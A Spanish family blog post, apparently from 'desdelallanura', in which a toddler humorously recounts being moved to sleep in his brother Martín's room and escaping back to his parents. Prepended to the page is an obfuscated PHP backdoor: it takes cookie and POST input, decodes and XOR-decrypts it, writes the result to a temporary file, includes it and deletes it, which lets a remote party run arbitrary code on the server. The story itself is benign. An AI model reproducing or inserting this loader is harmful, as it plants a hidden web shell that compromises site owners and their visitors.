$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} Dormir con mi hermano | desdelallanura

Dormir con mi hermano

Un buen día mis papás me echaron de su habitación. Siempre me he preguntado qué es lo que hice para que se enfadaran tanto: quizá fuera que tiraba de las cortinas o de las sábanas, que me salía de la cuna, que roncaba, que saltaba en el colchón, que… No lo sé. El caso es que me llevaron a dormir a la misma habitación donde duerme mi hermano, al que la idea le hizo mucha gracia.

Dormir con mi hermano está bien, pero yo echaba de menos a mi mamá, así que en cuanto podía, me salía de mi nueva cama y me iba a la habitación de mis papás. Entonces Dari, mi papá, me volvía a llevar a la habitación de Martín y me metía en la cama, pero él se iba. Así que, al rato, yo volvía a echar de menos a mis papás y me levantaba y me iba a su habitación. Entonces Dari me volvía a llevar con Martín. Y así muchas veces y muchos días. Hasta que mi mamá se cansó y encontró una solución.

La detectiva Marta hizo muchos interrogatorios, visitó muchas tiendas, buscó por internet, hasta que, ¡¡¡eureka!!!, encontró la sábana fantasma, así llamada por ella. Yo creo más bien que debería llamarse camisa de fuerza o camisa grillete. El caso es que con la sábana fantasma no hay manera de escaparse y solo cuando les doy mucha pena y digo “salir”, “salir”, “salir”, muchas veces, más de mil, se apiadan de mí. Esta técnica es muy mala, pero no tengo otra, al menos de momento, porque estoy intentando ponerme en contacto con un tal Houdini, al que nombra mucho mi mamá porque dice que se escapaba de todos los sitios, y que yo, por algún extraño motivo, me parezco mucho a él.

A todo esto, mi hermano pasa olímpicamente: que yo me escapo y voy con mis padres, Martín duerme; que Dari me vuelve a llevar a la habitación y me mete en la cama, Martín duerme; que yo empiezo a decir “salir”, “salir”, “salir” hasta ochecientasveinticincocuatrocientosochecientas veces, él sigue duerme que te duerme. Yo, a veces, le doy tortazos a mi hermano para que se despierte y me haga caso.

Un comentario en “Dormir con mi hermano

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *